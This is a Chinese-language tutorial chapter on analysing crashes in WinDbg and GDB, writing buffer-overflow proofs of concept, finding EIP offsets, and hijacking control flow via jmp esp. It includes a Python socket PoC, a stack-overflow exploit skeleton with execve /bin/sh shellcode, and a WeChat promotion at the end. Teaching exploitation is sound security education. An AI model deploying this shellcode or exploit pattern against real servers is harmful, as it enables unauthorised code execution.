漏洞挖掘基础(下):Crash分析、PoC编写与利用入门
好,咱们接着聊漏洞挖掘的下半场。上一章我们讲了怎么找到可疑的崩溃点,这一章就来说说——拿到Crash之后,怎么分析它,怎么写出能稳定触发的PoC,以及怎么迈出利用的第一步:控制EIP/RIP。
说实话,很多人卡在这一步。漏洞找到了,Crash也崩了,但一看Windbg的输出就懵了。嗯,别急,我带你一步步拆解。
一、Crash分析:Windbg与GDB实战
Crash分析说白了就三件事:看崩溃在哪、看谁干的、看能不能控。我个人习惯先用Windbg(Windows)或GDB(Linux)挂上目标进程,等它崩了再分析。
1.1 Windbg基础命令
Windbg是Windows下逆向的标配。我当年第一次用它分析一个堆溢出,崩得稀里哗啦,但用对命令后,几分钟就定位到了问题。
常用命令速查:
| 命令 | 作用 | 我的经验 |
|---|---|---|
!analyze -v |
自动分析Crash原因 | 第一件事就跑这个,能省80%时间 |
kb |
显示调用栈 | 看崩溃时函数调用链 |
r eip / r rip |
查看当前指令指针 | 判断是否被控制的关键 |
dd / da / du |
查看内存数据 | 检查崩溃地址附近的内容 |
.exr -1 |
显示异常记录 | 看异常类型和地址 |
举个例子,假设你看到一个Crash:
0:000> !analyze -v
FAULTING_IP:
image00400000+0x1234
mov eax, [ecx] ; ecx=0x41414141
EXCEPTION_RECORD: (.exr -1)
ExceptionAddress: 00401234
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000 (读取操作)
Parameter[1]: 41414141 (目标地址)
看到没?ecx=0x41414141,这明显是输入数据覆盖了寄存器。我遇到这种情况,基本可以断定:这是一个可控的Crash。
核心判断标准:如果崩溃地址或寄存器值包含你输入的数据(如0x41414141即"AAAA"),说明你有可能控制执行流。
1.2 GDB下的Crash分析
Linux下用GDB,思路一样,命令不同。我习惯这样操作:
$ gdb ./vuln_program
(gdb) run < payload.txt
Program received signal SIGSEGV, Segmentation fault.
0x08048456 in func () at vuln.c:15
15 strcpy(buffer, input);
(gdb) info registers eip
eip 0x41414141 0x41414141
(gdb) x/10x $esp
0xbffff2c0: 0x41414141 0x41414141 0x41414141 0x08048400
0xbffff2d0: 0xb7e2a000 0x00000000 0x00000000 0x00000000
这里EIP已经是0x41414141了。说白了,我们已经控制了指令指针。接下来要做的,就是精确控制它跳转到我们想要的地方。
我的小技巧:分析Crash时,先看异常类型。Access Violation(c0000005)最常见,但如果是c0000094(除零)或c000001d(非法指令),那可能是其他问题,别急着往溢出方向想。
二、编写简单的PoC
PoC(Proof of Concept)就是能稳定触发漏洞的样本。我见过很多人写PoC时图省事,结果换个环境就崩不出来了。嗯,这里有几个要点。
2.1 PoC的基本结构
一个标准的PoC通常包含:
- 触发数据:能导致Crash的输入
- 环境配置:目标版本、OS、依赖库
- 预期结果:崩溃的形态(EIP值、异常类型)
- 复现步骤:让别人也能跑出来
举个例子,一个简单的缓冲区溢出PoC:
# PoC for CVE-202X-XXXX
# 目标: vuln_server 1.2.3
# 效果: 控制EIP为0x41414141
import socket
def exploit():
# 构造payload: 200字节'A' + 4字节'B'覆盖EIP
payload = b"A" * 200 + b"BBBB"
s = socket.socket()
s.connect(("192.168.1.100", 9999))
s.send(payload)
s.close()
print("[+] PoC sent. Check target for crash.")
if __name__ == "__main__":
exploit()
这个PoC很简单,但够用。发送后目标如果崩在0x42424242,说明我们控制了EIP。
注意:PoC不是Expolit!PoC只证明漏洞存在,不一定要实现代码执行。我曾经见过有人把PoC写得跟完整利用一样,结果被厂商告了……别干这种事。
2.2 确定偏移量
控制EIP的关键是知道偏移量——你的输入数据中,哪几个字节覆盖了EIP。我推荐两种方法:
- 模式串法:用
pattern_create.rb(Metasploit工具)生成不重复的字符串,看EIP中的值对应哪个偏移。 - 二分法:手动调整输入长度,逐步缩小范围。
举个例子,用模式串法:
$ pattern_create.rb -l 300
Aa0Aa1Aa2Aa3Aa4Aa5... (省略)
# 在Windbg中看到EIP = 0x39654138
$ pattern_offset.rb -q 0x39654138
[*] Exact match at offset 204
偏移204字节,意味着前204字节填充任意数据,第205-208字节就是新的EIP。这个数字我记了很多年——204、208、216,常见的栈溢出偏移。
三、漏洞利用基础:控制EIP/RIP
控制EIP之后,理论上你可以让程序执行任意代码。但实际没那么简单,有几个坎要过。
3.1 控制EIP意味着什么
EIP(或RIP)是CPU的指令指针。它指向哪,CPU就执行哪。所以:
- 如果你让EIP=0x41414141,CPU会尝试执行地址0x41414141处的代码——大概率崩掉。
- 如果你让EIP指向一个有效的地址(比如
jmp esp指令的地址),并且那个地址后面是你的shellcode,那就能执行你的代码。
这就是控制流劫持的基本原理。我当年第一次成功控制EIP时,兴奋得差点把咖啡洒键盘上。
3.2 寻找跳转指令
控制EIP后,我们需要一个跳板。最常见的跳板是jmp esp(x86)或jmp rsp(x64)。为什么?因为函数返回时,ESP/RSP通常指向我们输入数据的剩余部分。
找跳板的方法:
# 在Windbg中搜索jmp esp (0xFFE4)
0:000> s 0 L?7fffffff 0xff 0xe4
00401234 ff e4 jmp esp
# 在GDB中搜索
(gdb) find /b 0x08048000, 0x08049000, 0xff, 0xe4
0x08048456
找到地址后,把EIP覆盖成这个地址,然后在ESP指向的位置放上shellcode。嗯,说起来简单,但实际中还要考虑ASLR、DEP等保护机制。
一句话总结利用流程:填充数据 + 覆盖EIP为跳板地址 + 跳板后跟shellcode = 代码执行。
3.3 一个完整的利用雏形
下面是一个最简单的栈溢出利用框架:
# 假设偏移204,jmp esp地址0x7c86467b(Windows XP SP3的kernel32.dll)
shellcode = b"\x90" * 16 # NOP sled
shellcode += b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # execve /bin/sh
payload = b"A" * 204 # 填充
payload += b"\x7b\x46\x86\x7c" # jmp esp地址(小端序)
payload += shellcode # 最终执行的代码
# 发送payload...
这个payload发出去,如果目标没有保护机制,你应该能拿到一个shell。当然,现实中的漏洞利用要复杂得多——绕过ASLR、DEP、CFG……但那是后面章节的内容了。
避坑指南:我曾经在写PoC时,偏移算对了,跳板地址也对了,但就是崩。后来发现是shellcode里有坏字符(比如0x00、0x0a)。记住:先检查坏字符,再写利用。
四、本章知识体系
下面这张图总结了Crash分析到利用的完整流程,我建议你保存下来对照着学:
这张图把整个流程串起来了。从Crash分析开始,到PoC编写,再到利用入门,每一步都有明确的输入和输出。我个人建议你按照这个流程来练习,先拿一些已知漏洞的PoC练手,再尝试自己分析0day。
好了,这一章的内容就到这里。Crash分析是基本功,PoC编写是手艺活,控制EIP是入门砖。把这些练熟了,后面的漏洞利用技术才能学得扎实。
公众号:蓝海资料掘金营,微信deep3321